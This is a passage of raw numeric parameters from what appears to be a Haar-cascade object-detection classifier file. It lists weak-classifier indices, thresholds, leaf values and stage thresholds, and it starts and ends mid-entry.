1.5564100444316864e-01 -4.9913901090621948e-01 + <_> + + 0 -1 2294 3.5962000489234924e-02 + + -5.8573000133037567e-02 -1.5418399572372437e+00 + <_> + + 0 -1 2295 -1.0000699758529663e-01 + + -1.6100039482116699e+00 1.1450500041246414e-01 + <_> + + 0 -1 2296 8.4435999393463135e-02 + + -6.1406999826431274e-02 -1.4673349857330322e+00 + <_> + + 0 -1 2297 1.5947999432682991e-02 + + 1.6287900507450104e-01 -1.1026400327682495e-01 + <_> + + 0 -1 2298 3.3824000507593155e-02 + + -1.7932699620723724e-01 5.7218402624130249e-01 + <_> + + 0 -1 2299 -6.1996001750230789e-02 + + 4.6511812210083008e+00 9.4534002244472504e-02 + <_> + + 0 -1 2300 6.9876998662948608e-02 + + -1.6985900700092316e-01 8.7028998136520386e-01 + <_> + + 0 -1 2301 -2.7916999533772469e-02 + + 9.1042500734329224e-01 5.6827001273632050e-02 + <_> + + 0 -1 2302 -1.2764000333845615e-02 + + 2.2066700458526611e-01 -2.7769100666046143e-01 + <_> + 199 + -3.2573320865631104e+00 + + <_> + + 0 -1 2303 2.1662000566720963e-02 + + -8.9868897199630737e-01 2.9436299204826355e-01 + <_> + + 0 -1 2304 1.0044500231742859e-01 + + -3.7659201025962830e-01 6.0891002416610718e-01 + <_> + + 0 -1 2305 2.6003999635577202e-02 + + -3.8128501176834106e-01 3.9217400550842285e-01 + <_> + + 0 -1 2306 2.8441000729799271e-02 + + -1.8182300031185150e-01 5.8927202224731445e-01 + <_> + + 0 -1 2307 3.8612000644207001e-02 + + -2.2399599850177765e-01 6.3779997825622559e-01 + <_> + + 0 -1 2308 -4.6594999730587006e-02 + + 7.0812201499938965e-01 -1.4666199684143066e-01 + <_> + + 0 -1 2309 -4.2791999876499176e-02 + + 4.7680398821830750e-01 -2.9233199357986450e-01 + <_> + + 0 -1 2310 3.7960000336170197e-03 + + -1.8510299921035767e-01 5.2626699209213257e-01 + <_> + + 0 -1 2311 4.2348999530076981e-02 + + 3.9244998246431351e-02 -8.9197701215744019e-01 + <_> + + 0 -1 2312 1.9598999992012978e-02 + + -2.3358400166034698e-01 4.4146499037742615e-01 + <_> + + 0 -1 2313 8.7400001939386129e-04 + + -4.6063598990440369e-01 1.7689600586891174e-01 + <_> + + 0 -1 2314 -4.3629999272525311e-03 + + 3.3493199944496155e-01 -2.9893401265144348e-01 + <_> + + 0 -1 2315 1.6973000019788742e-02 + + -1.6408699750900269e-01 1.5993679761886597e+00 + <_> + + 0 -1 2316 3.6063998937606812e-02 + + 2.2601699829101562e-01 -5.3186100721359253e-01 + <_> + + 0 -1 2317 -7.0864997804164886e-02 + + 1.5220500528812408e-01 -4.1914600133895874e-01 + <_> + + 0 -1 2318 -6.3075996935367584e-02 + + -1.4874019622802734e+00 1.2953700125217438e-01 + <_> + + 0 -1 2319 2.9670000076293945e-02 + + -1.9145900011062622e-01 9.8184901475906372e-01 + <_> + + 0 -1 2320 3.7873998284339905e-02 + + 1.3459500670433044e-01 -5.6316298246383667e-01 + <_> + + 0 -1 2321 -3.3289000391960144e-02 + + -1.0828030109405518e+00 -1.1504000052809715e-02 + <_> + + 0 -1 2322 -3.1608998775482178e-02 + + -5.9224498271942139e-01 1.3394799828529358e-01 + <_> + + 0 -1 2323 1.0740000288933516e-03 + + -4.9185800552368164e-01 9.4446003437042236e-02 + <_> + + 0 -1 2324 -7.1556001901626587e-02 + + 5.9710198640823364e-01 -3.9553001523017883e-02 + <_> + + 0 -1 2325 -8.1170000135898590e-02 + + -1.1817820072174072e+00 -2.8254000470042229e-02 + <_> + + 0 -1 2326 4.4860001653432846e-03 + + -6.1028099060058594e-01 2.2619099915027618e-01 + <_> + + 0 -1 2327 -4.2176000773906708e-02 + + -1.1435619592666626e+00 -2.9001999646425247e-02 + <_> + + 0 -1 2328 -6.5640002489089966e-02 + + -1.6470279693603516e+00 1.2810300290584564e-01 + <_> + + 0 -1 2329 1.8188999965786934e-02 + + -3.1149399280548096e-01 2.5739601254463196e-01 + <_> + + 0 -1 2330 -5.1520001143217087e-02 + + -6.9206899404525757e-01 1.5270799398422241e-01 + <_> + + 0 -1 2331 -4.7150999307632446e-02 + + -7.1868300437927246e-01 2.6879999786615372e-03 + <_> + + 0 -1 2332 1.7488999292254448e-02 + + 2.2371199727058411e-01 -5.5381798744201660e-01 + <_> + + 0 -1 2333 -2.5264000520110130e-02 + + 1.0319819450378418e+00 -1.7496499419212341e-01 + <_> + + 0 -1 2334 -4.0745001286268234e-02 + + 4.4961598515510559e-01 3.9349000900983810e-02 + <_> + + 0 -1 2335 -3.7666998803615570e-02 + + -8.5475701093673706e-01 -1.2463999912142754e-02 + <_> + + 0 -1 2336 -1.3411000370979309e-02 + + 5.7845598459243774e-01 -1.7467999830842018e-02 + <_> + + 0 -1 2337 -7.8999997640494257e-05 + + -3.7749201059341431e-01 1.3961799442768097e-01 + <_> + + 0 -1 2338 -1.1415000073611736e-02 + + -2.6186600327491760e-01 2.3712499439716339e-01 + <_> + + 0 -1 2339 3.7200000137090683e-02 + + -2.8626000508666039e-02 -1.2945239543914795e+00 + <_> + + 0 -1 2340 3.4050000831484795e-03 + + 2.0531399548053741e-01 -1.8747499585151672e-01 + <_> + + 0 -1 2341 -2.2483000531792641e-02 + + 6.7027199268341064e-01 -1.9594000279903412e-01 + <_> + + 0 -1 2342 2.3274999111890793e-02 + + 1.7405399680137634e-01 -3.2746300101280212e-01 + <_> + + 0 -1 2343 -1.3917000032961369e-02 + + -8.3954298496246338e-01 -6.3760001212358475e-03 + <_> + + 0 -1 2344 7.5429999269545078e-03 + + -3.4194998443126678e-02 5.8998197317123413e-01 + <_> + + 0 -1 2345 -1.1539000086486340e-02 + + 4.2142799496650696e-01 -2.3510499298572540e-01 + <_> + + 0 -1 2346 5.2501998841762543e-02 + + 6.9303996860980988e-02 7.3226499557495117e-01 + <_> + + 0 -1 2347 5.2715998142957687e-02 + + -1.5688100457191467e-01 1.0907289981842041e+00 + <_> + + 0 -1 2348 -1.1726000346243382e-02 + + -7.0934301614761353e-01 1.6828800737857819e-01 + <_> + + 0 -1 2349 9.5945999026298523e-02 + + -1.6192899644374847e-01 1.0072519779205322e+00 + <_> + + 0 -1 2350 -1.5871999785304070e-02 + + 3.9008399844169617e-01 -5.3777001798152924e-02 + <_> + + 0 -1 2351 3.4818001091480255e-02 + + 1.7179999500513077e-02 -9.3941801786422729e-01 + <_> + + 0 -1 2352 3.4791998565196991e-02 + + 5.0462998449802399e-02 5.4465699195861816e-01 + <_> + + 0 -1 2353 1.6284000128507614e-02 + + -2.6981300115585327e-01 4.0365299582481384e-01 + <_> + + 0 -1 2354 -4.4319000095129013e-02 + + 8.4399998188018799e-01 3.2882999628782272e-02 + <_> + + 0 -1 2355 -5.5689997971057892e-03 + + 1.5309399366378784e-01 -3.4959799051284790e-01 + <_> + + 0 -1 2356 -6.5842002630233765e-02 + + -9.2711198329925537e-01 1.6800999641418457e-01 + <_> + + 0 -1 2357 -7.3337003588676453e-02 + + 5.1614499092102051e-01 -2.0236000418663025e-01 + <_> + + 0 -1 2358 1.6450000926852226e-02 + + 1.3950599730014801e-01 -4.9301299452781677e-01 + <_> + + 0 -1 2359 -9.2630004510283470e-03 + + -9.0101999044418335e-01 -1.6116000711917877e-02 + <_> + + 0 -1 2360 5.9139998629689217e-03 + + 1.9858199357986450e-01 -1.6731299459934235e-01 + <_> + + 0 -1 2361 -8.4699998842552304e-04 + + 9.4005003571510315e-02 -4.1570898890495300e-01 + <_> + + 0 -1 2362 2.0532900094985962e-01 + + -6.0022000223398209e-02 7.0993602275848389e-01 + <_> + + 0 -1 2363 -1.6883000731468201e-02 + + 2.4392199516296387e-01 -3.0551800131797791e-01 + <_> + + 0 -1 2364 -1.9111000001430511e-02 + + 6.1229902505874634e-01 2.4252999573945999e-02 + <_> + + 0 -1 2365 -2.5962999090552330e-02 + + 9.0764999389648438e-01 -1.6722099483013153e-01 + <_> + + 0 -1 2366 -2.1762000396847725e-02 + + -3.1384700536727905e-01 2.0134599506855011e-01 + <_> + + 0 -1 2367 -2.4119999259710312e-02 + + -6.6588401794433594e-01 7.4559999629855156e-03 + <_> + + 0 -1 2368 4.7129999846220016e-02 + + 5.9533998370170593e-02 8.7804502248764038e-01 + <_> + + 0 -1 2369 -4.5984998345375061e-02 + + 8.0067998170852661e-01 -1.7252300679683685e-01 + <_> + + 0 -1 2370 2.6507999747991562e-02 + + 1.8774099647998810e-01 -6.0850602388381958e-01 + <_> + + 0 -1 2371 -4.8615001142024994e-02 + + 5.8644098043441772e-01 -1.9427700340747833e-01 + <_> + + 0 -1 2372 -1.8562000244855881e-02 + + -2.5587901473045349e-01 1.6326199471950531e-01 + <_> + + 0 -1 2373 1.2678000144660473e-02 + + -1.4228000305593014e-02 -7.6738101243972778e-01 + <_> + + 0 -1 2374 -1.1919999960809946e-03 + + 2.0495000481605530e-01 -1.1404299736022949e-01 + <_> + + 0 -1 2375 -4.9088999629020691e-02 + + -1.0740849971771240e+00 -3.8940999656915665e-02 + <_> + + 0 -1 2376 -1.7436999827623367e-02 + + -5.7973802089691162e-01 1.8584500253200531e-01 + <_> + + 0 -1 2377 -1.4770000241696835e-02 + + -6.6150301694869995e-01 5.3119999356567860e-03 + <_> + + 0 -1 2378 -2.2905200719833374e-01 + + -4.8305100202560425e-01 1.2326399981975555e-01 + <_> + + 0 -1 2379 -1.2707099318504333e-01 + + 5.7452601194381714e-01 -1.9420400261878967e-01 + <_> + + 0 -1 2380 1.0339000262320042e-02 + + -5.4641999304294586e-02 2.4501800537109375e-01 + <_> + + 0 -1 2381 6.9010001607239246e-03 + + 1.2180600315332413e-01 -3.8797399401664734e-01 + <_> + + 0 -1 2382 2.9025399684906006e-01 + + 1.0966199636459351e-01 -30. + <_> + + 0 -1 2383 -2.3804999887943268e-01 + + -1.7352679967880249e+00 -6.3809998333454132e-02 + <_> + + 0 -1 2384 6.2481001019477844e-02 + + 1.3523000478744507e-01 -7.0301097631454468e-01 + <_> + + 0 -1 2385 4.7109997831285000e-03 + + -4.6984100341796875e-01 6.0341998934745789e-02 + <_> + + 0 -1 2386 -2.7815999463200569e-02 + + 6.9807600975036621e-01 1.3719999697059393e-03 + <_> + + 0 -1 2387 -1.7020000144839287e-02 + + 1.6870440244674683e+00 -1.4314800500869751e-01 + <_> + + 0 -1 2388 -4.9754999577999115e-02 + + 7.9497700929641724e-01 7.7199999941512942e-04 + <_> + + 0 -1 2389 -7.4732996523380280e-02 + + -1.0132360458374023e+00 -1.9388999789953232e-02 + <_> + + 0 -1 2390 3.2009001821279526e-02 + + 1.4412100613117218e-01 -4.2139101028442383e-01 + <_> + + 0 -1 2391 -9.4463996589183807e-02 + + 5.0682598352432251e-01 -2.0478899776935577e-01 + <_> + + 0 -1 2392 -1.5426999889314175e-02 + + -1.5811300277709961e-01 1.7806899547576904e-01 + <_> + + 0 -1 2393 -4.0540001355111599e-03 + + -5.4366701841354370e-01 3.1235000118613243e-02 + <_> + + 0 -1 2394 3.0080000869929790e-03 + + -1.7376799881458282e-01 3.0441701412200928e-01 + <_> + + 0 -1 2395 -1.0091999545693398e-02 + + 2.5103801488876343e-01 -2.6224100589752197e-01 + <_> + + 0 -1 2396 -3.8818001747131348e-02 + + 9.3226701021194458e-01 7.2659999132156372e-02 + <_> + + 0 -1 2397 3.4651998430490494e-02 + + -3.3934999257326126e-02 -8.5707902908325195e-01 + <_> + + 0 -1 2398 -4.6729999594390392e-03 + + 3.4969300031661987e-01 -4.8517998307943344e-02 + <_> + + 0 -1 2399 6.8499997723847628e-04 + + 6.6573001444339752e-02 -4.4973799586296082e-01 + <_> + + 0 -1 2400 3.5317000001668930e-02 + + 1.4275799691677094e-01 -4.6726399660110474e-01 + <_> + + 0 -1 2401 -2.3569999262690544e-02 + + -1.0286079645156860e+00 -4.5288000255823135e-02 + <_> + + 0 -1 2402 -1.9109999993816018e-03 + + -1.9652199745178223e-01 2.8661000728607178e-01 + <_> + + 0 -1 2403 -1.6659000888466835e-02 + + -7.7532202005386353e-01 -8.3280000835657120e-03 + <_> + + 0 -1 2404 6.6062200069427490e-01 + + 1.3232499361038208e-01 -3.5266680717468262e+00 + <_> + + 0 -1 2405 1.0970599949359894e-01 + + -1.5547199547290802e-01 1.4674140214920044e+00 + <_> + + 0 -1 2406 1.3500999659299850e-02 + + 1.5233400464057922e-01 -1.3020930290222168e+00 + <_> + + 0 -1 2407 -2.2871999070048332e-02 + + -7.1325999498367310e-01 -8.7040001526474953e-03 + <_> + + 0 -1 2408 -8.1821002066135406e-02 + + 1.1127580404281616e+00 8.3219997584819794e-02 + <_> + + 0 -1 2409 -5.2728001028299332e-02 + + 9.3165099620819092e-01 -1.7103999853134155e-01 + <_> + + 0 -1 2410 -2.5242000818252563e-02 + + -1.9733799993991852e-01 2.5359401106834412e-01 + <_> + + 0 -1 2411 -4.3818999081850052e-02 + + 4.1815200448036194e-01 -2.4585500359535217e-01 + <_> + + 0 -1 2412 -1.8188999965786934e-02 + + -5.1743197441101074e-01 2.0174199342727661e-01 + <_> + + 0 -1 2413 2.3466000333428383e-02 + + -4.3071001768112183e-02 -1.0636579990386963e+00 + <_> + + 0 -1 2414 3.4216001629829407e-02 + + 5.3780999034643173e-02 4.9707201123237610e-01 + <_> + + 0 -1 2415 2.5692999362945557e-02 + + -2.3800100386142731e-01 4.1651499271392822e-01 + <_> + + 0 -1 2416 -2.6565000414848328e-02 + + -8.8574802875518799e-01 1.3365900516510010e-01 + <_> + + 0 -1 2417 6.0942001640796661e-02 + + -2.0669700205326080e-01 5.8309000730514526e-01 + <_> + + 0 -1 2418 1.4474500715732574e-01 + + 1.3282300531864166e-01 -3.1449348926544189e+00 + <_> + + 0 -1 2419 5.3410999476909637e-02 + + -1.7325200140476227e-01 6.9190698862075806e-01 + <_> + + 0 -1 2420 1.1408000253140926e-02 + + 5.4822001606225967e-02 3.0240398645401001e-01 + <_> + + 0 -1 2421 -2.3179999552667141e-03 + + 1.5820899605751038e-01 -3.1973201036453247e-01 + <_> + + 0 -1 2422 -2.9695000499486923e-02 + + 7.1274799108505249e-01 5.8136001229286194e-02 + <_> + + 0 -1 2423 2.7249999344348907e-02 + + -1.5754100680351257e-01 9.2143797874450684e-01 + <_> + + 0 -1 2424 -3.6200000904500484e-03 + + -3.4548398852348328e-01 2.0220999419689178e-01 + <_> + + 0 -1 2425 -1.2578999623656273e-02 + + -5.5650299787521362e-01 2.0388999953866005e-02 + <_> + + 0 -1 2426 -8.8849000632762909e-02 + + -3.6100010871887207e+00 1.3164199888706207e-01 + <_> + + 0 -1 2427 -1.9256999716162682e-02 + + 5.1908999681472778e-01 -1.9284300506114960e-01 + <_> + + 0 -1 2428 -1.6666999086737633e-02 + + -8.7499998509883881e-02 1.5812499821186066e-01 + <_> + + 0 -1 2429 1.2931999750435352e-02 + + 2.7405999600887299e-02 -5.5123901367187500e-01 + <_> + + 0 -1 2430 -1.3431999832391739e-02 + + 2.3457799851894379e-01 -4.3235000222921371e-02 + <_> + + 0 -1 2431 1.8810000270605087e-02 + + -3.9680998772382736e-02 -9.4373297691345215e-01 + <_> + + 0 -1 2432 -6.4349998719990253e-03 + + 4.5703700184822083e-01 -4.0520001202821732e-03 + <_> + + 0 -1 2433 -2.4249000474810600e-02 + + -7.6248002052307129e-01 -1.9857000559568405e-02 + <_> + + 0 -1 2434 -2.9667999595403671e-02 + + -3.7412509918212891e+00 1.1250600218772888e-01 + <_> + + 0 -1 2435 5.1150000654160976e-03 + + -6.3781797885894775e-01 1.1223999783396721e-02 + <_> + + 0 -1 2436 -5.7819997891783714e-03 + + 1.9374400377273560e-01 -8.2042001187801361e-02 + <_> + + 0 -1 2437 1.6606999561190605e-02 + + -1.6192099452018738e-01 1.1334990262985229e+00 + <_> + + 0 -1 2438 3.8228001445531845e-02 + + 2.1105000749230385e-02 7.6264202594757080e-01 + <_> + + 0 -1 2439 -5.7094000279903412e-02 + + -1.6974929571151733e+00 -5.9762001037597656e-02 + <_> + + 0 -1 2440 -5.3883001208305359e-02 + + 1.1850190162658691e+00 9.0966999530792236e-02 + <_> + + 0 -1 2441 -2.6110000908374786e-03 + + -4.0941199660301208e-01 8.3820998668670654e-02 + <_> + + 0 -1 2442 2.9714399576187134e-01 + + 1.5529899299144745e-01 -1.0995409488677979e+00 + <_> + + 0 -1 2443 -8.9063003659248352e-02 + + 4.8947200179100037e-01 -2.0041200518608093e-01 + <_> + + 0 -1 2444 -5.6193001568317413e-02 + + -2.4581399559974670e-01 1.4365500211715698e-01 + <_> + + 0 -1 2445 3.7004999816417694e-02 + + -4.8168998211622238e-02 -1.2310709953308105e+00 + <_> + + 0 -1 2446 -8.4840003401041031e-03 + + 4.3372601270675659e-01 1.3779999688267708e-02 + <_> + + 0 -1 2447 -2.4379999376833439e-03 + + 1.8949699401855469e-01 -3.2294198870658875e-01 + <_> + + 0 -1 2448 -7.1639999747276306e-02 + + -4.3979001045227051e-01 2.2730199992656708e-01 + <_> + + 0 -1 2449 5.2260002121329308e-03 + + -2.0548400282859802e-01 5.0933301448822021e-01 + <_> + + 0 -1 2450 -6.1360001564025879e-03 + + 3.1157198548316956e-01 7.0680998265743256e-02 + <_> + + 0 -1 2451 1.5595000237226486e-02 + + -3.0934798717498779e-01 1.5627700090408325e-01 + <_> + + 0 -1 2452 2.5995999574661255e-02 + + 1.3821600377559662e-01 -1.7616599798202515e-01 + <_> + + 0 -1 2453 -1.2085000053048134e-02 + + -5.1070201396942139e-01 5.8440998196601868e-02 + <_> + + 0 -1 2454 -6.7836001515388489e-02 + + 4.7757101058959961e-01 -7.1446001529693604e-02 + <_> + + 0 -1 2455 -1.4715000055730343e-02 + + 4.5238900184631348e-01 -1.9861400127410889e-01 + <_> + + 0 -1 2456 2.5118999183177948e-02 + + 1.2954899668693542e-01 -8.6266398429870605e-01 + <_> + + 0 -1 2457 1.8826000392436981e-02 + + -4.1570000350475311e-02 -1.1354700326919556e+00 + <_> + + 0 -1 2458 -2.1263999864459038e-02 + + -3.4738001227378845e-01 1.5779499709606171e-01 + <_> + + 0 -1 2459 9.4609996303915977e-03 + + 4.8639997839927673e-03 -6.1654800176620483e-01 + <_> + + 0 -1 2460 2.2957700490951538e-01 + + 8.1372998654842377e-02 6.9841402769088745e-01 + <_> + + 0 -1 2461 -3.8061998784542084e-02 + + 1.1616369485855103e+00 -1.4976699650287628e-01 + <_> + + 0 -1 2462 -1.3484999537467957e-02 + + -3.2036399841308594e-01 1.7365099489688873e-01 + <_> + + 0 -1 2463 3.6238998174667358e-02 + + -1.8158499896526337e-01 6.1956697702407837e-01 + <_> + + 0 -1 2464 6.7210001870989799e-03 + + 7.9600000753998756e-04 4.2441400885581970e-01 + <_> + + 0 -1 2465 9.6525996923446655e-02 + + -1.4696800708770752e-01 1.2525680065155029e+00 + <_> + + 0 -1 2466 -3.5656999796628952e-02 + + -3.9781698584556580e-01 1.4191399514675140e-01 + <_> + + 0 -1 2467 1.0772000066936016e-02 + + -1.8194000422954559e-01 5.9762197732925415e-01 + <_> + + 0 -1 2468 7.9279996454715729e-02 + + 1.4642499387264252e-01 -7.8836899995803833e-01 + <_> + + 0 -1 2469 3.2841000705957413e-02 + + -6.2408000230789185e-02 -1.4227490425109863e+00 + <_> + + 0 -1 2470 -2.7781000360846519e-02 + + 3.4033098816871643e-01 3.0670000240206718e-02 + <_> + + 0 -1 2471 -4.0339999832212925e-03 + + 3.1084701418876648e-01 -2.2595700621604919e-01 + <_> + + 0 -1 2472 7.4260002002120018e-03 + + -3.8936998695135117e-02 3.1702101230621338e-01 + <_> + + 0 -1 2473 1.1213999986648560e-01 + + -1.7578299343585968e-01 6.5056598186492920e-01 + <_> + + 0 -1 2474 -1.1878100037574768e-01 + + -1.0092990398406982e+00 1.1069700121879578e-01 + <_> + + 0 -1 2475 -4.1584998369216919e-02 + + -5.3806400299072266e-01 1.9905000925064087e-02 + <_> + + 0 -1 2476 -2.7966000139713287e-02 + + 4.8143199086189270e-01 3.3590998500585556e-02 + <_> + + 0 -1 2477 -1.2506400048732758e-01 + + 2.6352199912071228e-01 -2.5737899541854858e-01 + <_> + + 0 -1 2478 2.3666900396347046e-01 + + 3.6508001387119293e-02 9.0655601024627686e-01 + <_> + + 0 -1 2479 -2.9475999996066093e-02 + + -6.0048800706863403e-01 9.5880003646016121e-03 + <_> + + 0 -1 2480 3.7792999297380447e-02 + + 1.5506200492382050e-01 -9.5733499526977539e-01 + <_> + + 0 -1 2481 7.2044000029563904e-02 + + -1.4525899291038513e-01 1.3676730394363403e+00 + <_> + + 0 -1 2482 9.7759999334812164e-03 + + 1.2915999628603458e-02 2.1640899777412415e-01 + <_> + + 0 -1 2483 5.2154000848531723e-02 + + -1.6359999775886536e-02 -8.8356298208236694e-01 + <_> + + 0 -1 2484 -4.3790999799966812e-02 + + 3.5829600691795349e-01 6.5131001174449921e-02 + <_> + + 0 -1 2485 -3.8378998637199402e-02 + + 1.1961040496826172e+00 -1.4971500635147095e-01 + <_> + + 0 -1 2486 -9.8838999867439270e-02 + + -6.1834001541137695e-01 1.2786200642585754e-01 + <_> + + 0 -1 2487 -1.2190700322389603e-01 + + -1.8276120424270630e+00 -6.4862996339797974e-02 + <_> + + 0 -1 2488 -1.1981700360774994e-01 + + -30. 1.1323300004005432e-01 + <_> + + 0 -1 2489 3.0910000205039978e-02 + + -2.3934000730514526e-01 3.6332899332046509e-01 + <_> + + 0 -1 2490 1.0800999589264393e-02 + + -3.5140000283718109e-02 2.7707898616790771e-01 + <_> + + 0 -1 2491 5.6844998151063919e-02 + + -1.5524299442768097e-01 1.0802700519561768e+00 + <_> + + 0 -1 2492 1.0280000278726220e-03 + + -6.1202999204397202e-02 2.0508000254631042e-01 + <_> + + 0 -1 2493 -2.8273999691009521e-02 + + -6.4778000116348267e-01 2.3917000740766525e-02 + <_> + + 0 -1 2494 -1.6013599932193756e-01 + + 1.0892050266265869e+00 5.8389000594615936e-02 + <_> + + 0 -1 2495 4.9629998393356800e-03 + + -2.5806298851966858e-01 2.0834599435329437e-01 + <_> + + 0 -1 2496 4.6937000006437302e-02 + + 1.3886299729347229e-01 -1.5662620067596436e+00 + <_> + + 0 -1 2497 2.4286000058054924e-02 + + -2.0728300511837006e-01 5.2430999279022217e-01 + <_> + + 0 -1 2498 7.0202000439167023e-02 + + 1.4796899259090424e-01 -1.3095090389251709e+00 + <_> + + 0 -1 2499 9.8120002076029778e-03 + + 2.7906000614166260e-02 -5.0864601135253906e-01 + <_> + + 0 -1 2500 -5.6200999766588211e-02 + + 1.2618130445480347e+00 6.3801996409893036e-02 + <_> + + 0 -1 2501 1.0982800275087357e-01 + + -1.2850099802017212e-01 3.0776169300079346e+00 + <_> + 211 + -3.3703000545501709e+00 + + <_> + + 0 -1 2502 2.0910000428557396e-02 + + -6.8559402227401733e-01 3.8984298706054688e-01 + <_> + + 0 -1 2503 3.5032000392675400e-02 + + -4.7724398970603943e-01 4.5027199387550354e-01 + <_> + + 0 -1 2504 3.9799001067876816e-02 + + -4.7011101245880127e-01 4.2702499032020569e-01 + <_> + + 0 -1 2505 -4.8409998416900635e-03 + + 2.5614300370216370e-01 -6.6556298732757568e-01 + <_> + + 0 -1 2506 2.3439999204128981e-03 + + -4.8083499073982239e-01 2.8013798594474792e-01 + <_> + + 0 -1 2507 2.5312999263405800e-02 + + -2.3948200047016144e-01 4.4191798567771912e-01 + <_> + + 0 -1 2508 -3.2193001359701157e-02 + + 7.6086699962615967e-01 -2.5059100985527039e-01 + <_> + + 0 -1 2509 7.5409002602100372e-02 + + -3.4974598884582520e-01 3.4380298852920532e-01 + <_> + + 0 -1 2510 -1.8469000235199928e-02 + + -7.9085600376129150e-01 3.4788001328706741e-02 + <_> + + 0 -1 2511 -1.2802000157535076e-02 + + 4.7107800841331482e-01 -6.0006000101566315e-02 + <_> + + 0 -1 2512 -2.6598000898957253e-02 + + 6.7116099596023560e-01 -2.4257500469684601e-01 + <_> + + 0 -1 2513 2.1988999098539352e-02 + + 2.4717499315738678e-01 -4.8301699757575989e-01 + <_> + + 0 -1 2514 1.4654099941253662e-01 + + -2.1504099667072296e-01 7.2055900096893311e-01 + <_> + + 0 -1 2515 3.5310001112520695e-03 + + 2.7930998802185059e-01 -3.4339898824691772e-01 + <_> + + 0 -1 2516 9.4010001048445702e-03 + + 5.5861998349428177e-02 -8.2143598794937134e-01 + <_> + + 0 -1 2517 -8.6390003561973572e-03 + + -9.9620598554611206e-01 1.8874999880790710e-01 + <_> + + 0 -1 2518 -3.9193000644445419e-02 + + -1.1945559978485107e+00 -2.9198000207543373e-02 + <_> + + 0 -1 2519 2.4855000898241997e-02 + + 1.4987599849700928e-01 -5.4137802124023438e-01 + <_> + + 0 -1 2520 -3.4995000809431076e-02 + + -1.4210180044174194e+00 -4.2314000427722931e-02 + <_> + + 0 -1 2521 -1.8378999084234238e-02 + + -2.8242599964141846e-01 1.5581800043582916e-01 + <_> + + 0 -1 2522 -1.3592000119388103e-02 + + 4.7317099571228027e-01 -2.1937200427055359e-01 + <_> + + 0 -1 2523 6.2629999592900276e-03 + + -5.9714000672101974e-02 6.0625898838043213e-01 + <_> + + 0 -1 2524 -1.8478000536561012e-02 + + -8.5647201538085938e-01 -1.3783999718725681e-02 + <_> + + 0 -1 2525 1.4236000366508961e-02 + + 1.6654799878597260e-01 -2.7713999152183533e-01 + <_> + + 0 -1 2526 -3.2547000795602798e-02 + + -1.1728240251541138e+00 -4.0185000747442245e-02 + <_> + + 0 -1 2527 -2.6410000864416361e-03 + + 2.6514300704002380e-01 -5.6343000382184982e-02 + <_> + + 0 -1 2528 -8.7799999164417386e-04 + + 3.6556001752614975e-02 -5.5075198411941528e-01 + <_> + + 0 -1 2529 4.7371998429298401e-02 + + -4.2614001780748367e-02 4.8194900155067444e-01 + <_> + + 0 -1 2530 -7.0790001191198826e-03 + + 2.8698998689651489e-01 -3.2923001050949097e-01 + <_> + + 0 -1 2531 -4.3145999312400818e-02 + + -1.4065419435501099e+00 1.2836399674415588e-01 + <_> + + 0 -1 2532 2.0592000335454941e-02 + + -2.1435299515724182e-01 5.3981798887252808e-01 + <_> + + 0 -1 2533 -2.2367000579833984e-02 + + 3.3718299865722656e-01 4.5212000608444214e-02 + <_> + + 0 -1 2534 5.0039999186992645e-02 + + -2.5121700763702393e-01 4.1750499606132507e-01 + <_> + + 0 -1 2535 6.1794999986886978e-02 + + 4.0084999054670334e-02 6.8779802322387695e-01 + <_> + + 0 -1 2536 -4.1861999779939651e-02 + + 5.3027397394180298e-01 -2.2901999950408936e-01 + <_> + + 0 -1 2537 -3.1959998887032270e-03 + + 2.5161498785018921e-01 -2.1514600515365601e-01 + <_> + + 0 -1 2538 2.4255000054836273e-02 + + 7.2320001199841499e-03 -7.2519099712371826e-01 + <_> + + 0 -1 2539 -1.7303999513387680e-02 + + -4.9958199262619019e-01 1.8394500017166138e-01 + <_> + + 0 -1 2540 -4.1470001451671124e-03 + + 8.5211999714374542e-02 -4.6364700794219971e-01 + <_> + + 0 -1 2541 -1.4369999989867210e-02 + + -5.2258902788162231e-01 2.3892599344253540e-01 + <_> + + 0 -1 2542 -9.0399999171495438e-03 + + -6.3250398635864258e-01 3.2551001757383347e-02 + <_> + + 0 -1 2543 -1.2373100221157074e-01 + + 1.2856210470199585e+00 7.6545000076293945e-02 + <_> + + 0 -1 2544 -8.2221999764442444e-02 + + 8.3208197355270386e-01 -1.8590599298477173e-01 + <_> + + 0 -1 2545 6.5659001469612122e-02 + + 1.1298800259828568e-01 -30. + <_> + + 0 -1 2546 -3.1582999974489212e-02 + + -1.3485900163650513e+00 -4.7097001224756241e-02 + <_> + + 0 -1 2547 -7.9636000096797943e-02 + + -1.3533639907836914e+00 1.5668800473213196e-01 + <_> + + 0 -1 2548 -1.8880000337958336e-02 + + 4.0300300717353821e-01 -2.5148901343345642e-01 + <_> + + 0 -1 2549 -5.0149997696280479e-03 + + -2.6287099719047546e-01 1.8582500517368317e-01 + <_> + + 0 -1 2550 -1.2218000367283821e-02 + + 5.8692401647567749e-01 -1.9427700340747833e-01 + <_> + + 0 -1 2551 1.2710000155493617e-03 + + -1.6688999533653259e-01 2.3006899654865265e-01 + <_> + + 0 -1 2552 2.9743999242782593e-02 + + 1.2520000338554382e-02 -6.6723597049713135e-01 + <_> + + 0 -1 2553 2.8175000101327896e-02 + + -1.7060000449419022e-02 6.4579397439956665e-01 + <_> + + 0 -1 2554 3.0345000326633453e-02 + + -2.4178700149059296e-01 3.4878900647163391e-01 + <_> + + 0 -1 2555 -1.7325999215245247e-02 + + -5.3599399328231812e-01 2.0995999872684479e-01 + <_> + + 0 -1 2556 -8.4178000688552856e-02 + + 7.5093299150466919e-01 -1.7593200504779816e-01 + <_> + + 0 -1 2557 7.4950000271201134e-03 + + -1.6188099980354309e-01 3.0657500028610229e-01 + <_> + + 0 -1 2558 5.6494999676942825e-02 + + -1.7318800091743469e-01 1.0016150474548340e+00 + <_> + + 0 -1 2559 -5.2939997985959053e-03 + + 2.3417599499225616e-01 -6.5347000956535339e-02 + <_> + + 0 -1 2560 -1.4945000410079956e-02 + + 2.5018900632858276e-01 -3.0591198801994324e-01 + <_> + + 0 -1 2561 5.4919000715017319e-02 + + 1.3121999800205231e-01 -9.3765097856521606e-01 + <_> + + 0 -1 2562 -1.9721999764442444e-02 + + -8.3978497982025146e-01 -2.3473000153899193e-02 + <_> + + 0 -1 2563 -6.7158997058868408e-02 + + 2.3586840629577637e+00 8.2970999181270599e-02 + <_> + + 0 -1 2564 -1.4325999654829502e-02 + + 1.8814499676227570e-01 -3.1221601366996765e-01 + <_> + + 0 -1 2565 2.9841000214219093e-02 + + 1.4825099706649780e-01 